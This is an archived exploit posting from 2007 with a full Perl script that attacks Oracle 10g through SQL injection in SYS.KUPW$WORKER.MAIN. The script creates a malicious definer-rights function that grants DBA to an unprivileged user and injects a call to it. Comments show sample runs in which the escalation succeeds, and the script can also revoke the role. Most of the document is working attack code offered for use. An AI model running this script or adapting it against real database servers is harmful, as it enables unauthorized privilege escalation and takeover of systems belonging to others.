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oraclekupv-perm.txt

oraclekupv-perm.txt
Posted Feb 24, 2007
Authored by Andrea Purificato | Site rawlab.mindcreations.com

Oracle 10g KUPW$WORKER.MAIN Grant/Revoke dba permission exploit.

tags | exploit
SHA-256 | 2b2a2c1994b6e9c6d95cb67871f10ed05558ba23f150d2c9d6502ec1ac587ef1

oraclekupv-perm.txt

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#!/usr/bin/perl
#
# Remote Oracle KUPW$WORKER.MAIN exploit (10g)
#
# Grant or revoke dba permission to unprivileged user
#
# Tested on "Oracle Database 10g Enterprise Edition Release 10.1.0.3.0"
#
# REF: http://www.securityfocus.com/archive/1/440439
#
# AUTHOR: Andrea "bunker" Purificato
# http://rawlab.mindcreations.com
#
# DATE: Copyright 2007 - Thu Feb 22 17:48:27 CET 2007
#
# Oracle InstantClient (basic + sdk) required for DBD::Oracle
#
#
# bunker@fin:~$ perl kupw-worker.pl -h localhost -s test -u bunker -p **** -r
# [-] Wait...
# [-] Revoking DBA from BUNKER...
# DBD::Oracle::db do failed: ORA-01031: insufficient privileges (DBD ERROR: OCIStmtExecute) [for Statement "REVOKE DBA FROM BUNKER"] at kupw-worker.pl line 94.
# [-] Done!
#
# bunker@fin:~$ perl kupw-worker.pl -h localhost -s test -u bunker -p **** -g
# [-] Wait...
# [-] Creating evil function...
# [-] Go ...(don't worry about errors)!
# DBD::Oracle::st execute failed: ORA-39079: unable to enqueue message DG
# ORA-06512: at "SYS.DBMS_SYS_ERROR", line 86
# ORA-06512: at "SYS.KUPC$QUE_INT", line 912
# ORA-00931: missing identifier
# ORA-06512: at "SYS.KUPC$QUE_INT", line 1910
# ORA-06512: at line 1
# ORA-06512: at "SYS.KUPC$QUEUE_INT", line 591
# ORA-06512: at "SYS.KUPW$WORKER", line 13468
# ORA-06512: at "SYS.KUPW$WORKER", line 5810
# ORA-39125: Worker unexpected fatal error in KUPW$WORKER.MAIN while calling KUPC$QUEUE_INT.ATTACH_QUEUE []
# ORA-06512: at "SYS.KUPW$WORKER", line 1243
# ORA-31626: job does not exist
# ORA-39086: cannot retrieve job information
# ORA-06512: at line 3 (DBD ERROR: OCIStmtExecute) [for Statement "
# BEGIN
# SYS.KUPW$WORKER.MAIN(''' AND 0=BUNKER.own--','');
# END;"] at kupw-worker.pl line 116.
# [-] YOU GOT THE POWAH!!
#
# bunker@fin:~$ perl kupw-worker.pl -h localhost -s test -u bunker -p **** -r
# [-] Wait...
# [-] Revoking DBA from BUNKER...
# [-] Done!
#

use warnings;
use strict;
use DBI;
use Getopt::Std;
use vars qw/ %opt /;

sub usage {
print <<"USAGE";

Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>]

Options:
-h <host> target server address
-s <sid> target sid name
-u <user> user
-p <passwd> password

-g|-r (g)rant dba to user | (r)evoke dba from user
[-P <port> Oracle port]

USAGE
exit 0
}

my $opt_string = 'h:s:u:p:grP:';
getopts($opt_string, \%opt) or &usage;
&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );
&usage if ( !$opt{g} and !$opt{r} );
my $user = uc $opt{u};

my $dbh = undef;
if ($opt{P}) {
$dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die;
} else {
$dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;
}

my $sqlcmd = "GRANT DBA TO $user";
print "[-] Wait...\n";

if ($opt{r}) {
print "[-] Revoking DBA from $user...\n";
$sqlcmd = "REVOKE DBA FROM $user";
$dbh->do( $sqlcmd );
print "[-] Done!\n";
$dbh->disconnect;
exit;
}

print "[-] Creating evil function...\n";
$dbh->do( qq{
CREATE OR REPLACE FUNCTION OWN RETURN NUMBER
AUTHID CURRENT_USER AS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE '$sqlcmd'; COMMIT;
RETURN(0);
END;
} );

print "[-] Go ...(don't worry about errors)!\n";
my $sth = $dbh->prepare( qq{
BEGIN
SYS.KUPW\$WORKER.MAIN(''' AND 0=$user.own--','');
END;});
$sth->execute;
$sth->finish;
print "[-] YOU GOT THE POWAH!!\n";
$dbh->disconnect;
exit;

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